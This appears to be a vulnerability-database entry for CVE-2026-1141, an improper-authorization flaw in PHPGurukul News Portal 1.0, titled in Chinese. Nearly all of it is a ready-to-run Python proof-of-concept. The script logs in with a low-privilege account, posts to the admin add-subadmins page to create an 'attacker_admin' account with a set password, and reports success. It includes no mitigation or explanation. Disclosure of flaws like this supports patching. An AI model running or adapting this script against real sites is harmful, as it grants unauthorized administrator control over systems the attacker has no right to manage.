CVE-2026-1141 PHPGurukul News Portal 1.0 权限控制缺陷漏洞

import requests # CVE-2026-1141 PoC - PHPGurukul News Portal 1.0 Improper Authorization # Target: /admin/add-subadmins.php TARGET_URL = "http://target.com/admin/add-subadmins.php" LOGIN_URL = "http://target.com/admin/index.php" def exploit(): # Step 1: Login with low-privilege account session = requests.Session() login_data = { "username": "low_priv_user", "password": "password123", "login": "" } session.post(LOGIN_URL, data=login_data) # Step 2: Add sub-admin without proper authorization check exploit_data = { "subadminname": "attacker_admin", "email": "[email protected]", "password": "P@ssw0rd123", "mobilenumber": "1234567890", "add": "" } response = session.post(TARGET_URL, data=exploit_data) if "success" in response.text.lower() or response.status_code == 200: print("[+] Sub-admin account created successfully!") print("[+] New admin: attacker_admin / P@ssw0rd123") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit()